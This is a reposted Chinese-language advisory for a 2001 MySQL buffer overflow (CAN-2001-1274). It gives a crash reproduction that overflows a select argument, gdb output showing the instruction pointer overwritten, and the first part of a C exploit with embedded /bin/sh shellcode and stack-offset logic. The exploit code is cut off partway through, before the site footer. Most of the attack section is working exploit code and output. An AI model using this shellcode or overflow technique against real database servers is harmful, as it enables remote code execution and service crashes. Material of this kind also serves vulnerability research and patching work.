mysql溢出漏洞,Mysql 远程缓冲区溢出漏洞
Mysql 遠(yuǎn)程緩沖區(qū)溢出漏洞
發(fā)布日期:2001-01-27
更新日期:2001-01-27
受影響系統(tǒng):T.C.X DataKonsult MySQL 3.23.30
T.C.X DataKonsult MySQL 3.23.29
T.C.X DataKonsult MySQL 3.23.28
T.C.X DataKonsult MySQL 3.23.27
T.C.X DataKonsult MySQL 3.23.26
T.C.X DataKonsult MySQL 3.23.25
T.C.X DataKonsult MySQL 3.23.24
T.C.X DataKonsult MySQL 3.23.23不受影響系統(tǒng):T.C.X DataKonsult MySQL 3.23.31描述:BUGTRAQ ID: 2262
CVE(CAN) ID: CAN-2001-1274
MySQL是一個(gè)開(kāi)放源代碼的自由數(shù)據(jù)庫(kù)軟件。3.23.31以前的版本都存在一個(gè)緩沖區(qū)
溢出漏洞。
通過(guò)使用一個(gè)特別長(zhǎng)的字符串作為SELECT語(yǔ)句的參數(shù),可能導(dǎo)致mysqld發(fā)生緩沖區(qū)
溢出。堆棧中的數(shù)據(jù)可能被覆蓋或修改,攻擊者可能遠(yuǎn)程獲取mysqld的運(yùn)行權(quán)限或
使mysqld數(shù)據(jù)庫(kù)崩潰。
測(cè)試方法:警 告
以下程序(方法)可能帶有攻擊性,僅供安全研究與教學(xué)之用。使用者風(fēng)險(xiǎn)自負(fù)!Joao Gouveia提供了下列測(cè)試步驟:
> On one terminal:
>
> spike:/var/mysql # /sbin/init.d/mysql start
> Starting service MySQL.
> Starting mysqld daemon with databases from /var/mysql
> done
> spike:/var/mysql #
>
>
> On the other terminal:
>
> jroberto@spike:~ > mysql -p -e 'select a.'`perl -e'printf("A"x130)'`'.b'
> Enter password:
> (hanged..^C)
>
>
> On the first terminal i got:
>
> spike:/var/mysql # /usr/bin/safe_mysqld: line 149: 15557 Segmentation fault
> nohup
> $ledir/mysqld --basedir=$MY_BASEDIR_VERSION --datadir=$DATADIR --skip-lockin
> g "$@" >>$err_log 2>&1>
> Number of processes running now: 0
> mysqld restarted on Fri Jan 12 07:10:54 WET 2001
> mysqld daemon ended
>
>
> gdb shows the following:
>
> (gdb) run
> Starting program: /usr/sbin/mysqld
> [New Thread 16897 (manager thread)]
> [New Thread 16891 (initial thread)]
> [New Thread 16898]
> /usr/sbin/mysqld: ready for connections
> [New Thread 16916]
> [Switching to Thread 16916]
>
> Program received signal SIGSEGV, Segmentation fault.
> 0x41414141 in ?? ()
> (gdb) info all-registers
> eax 0x1 1
> ecx 0x68 104
> edx 0x8166947 135686471
> ebx 0x41414141 1094795585
> esp 0xbf5ff408 0xbf5ff408
> ebp 0x41414141 0x41414141
> esi 0x41414141 1094795585
> edi 0x0 0
> eip 0x41414141 0x41414141
> eflags 0x10246 66118
> cs 0x23 35
> ss 0x2b 43
> ds 0x2b 43
> es 0x2b 43
> fs 0x0 0
> gs 0x0 0
> (gdb)
>
Luis Miguel Silva [aka wC](lms@ispgaya.pt)提供了一個(gè)測(cè)試程序:
#include
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 130
#define NOP 0x90
// Our EVIL code...
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned
long get_sp(void) {
__asm__("movl %esp,陎");
}
// Where it all happens...
main(int argc, char *argv[])
{
char *buffer, *ptr, tmp[1500];
long *addr_ptr, addr;
int i,bsize=DEFAULT_BUFFER_SIZE,offset=DEFAULT_OFFSET;
printf("\nMySQL [al versions < 3.23.31] Local Exploit by
lms@ispgaya.pt\n\n");
if (argc==2) offset=atoi(argv[1]);
else
printf("Happy toughts: Did you know you can pass a offset as argv[1]? :]\n");
printf("Trying to allocate memory for buffer (%d bytes)...",bsize);
if (!(buffer = malloc(bsize))) {
printf("ERROR!\n");
printf("Couldn't allocate memory...\n");
printf("Exiting...\n");
exit(0);
}
printf("SUCCESS!\n");
addr=get_sp()-offset;
printf("Using address : 0x%x\n", addr);
printf("Offset : %d\n",offset);
標(biāo)簽:
版權(quán)申明:本站文章部分自網(wǎng)絡(luò),如有侵權(quán),請(qǐng)聯(lián)系:west999com@outlook.com
特別注意:本站所有轉(zhuǎn)載文章言論不代表本站觀點(diǎn),本站所提供的攝影照片,插畫,設(shè)計(jì)作品,如需使用,請(qǐng)與原作者聯(lián)系,版權(quán)歸原作者所有
總結(jié)
以上是生活随笔為你收集整理的mysql溢出漏洞,Mysql 远程缓冲区溢出漏洞的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: TP 结构和材料之基本概念
- 下一篇: 数据库连接与笛卡尔乘积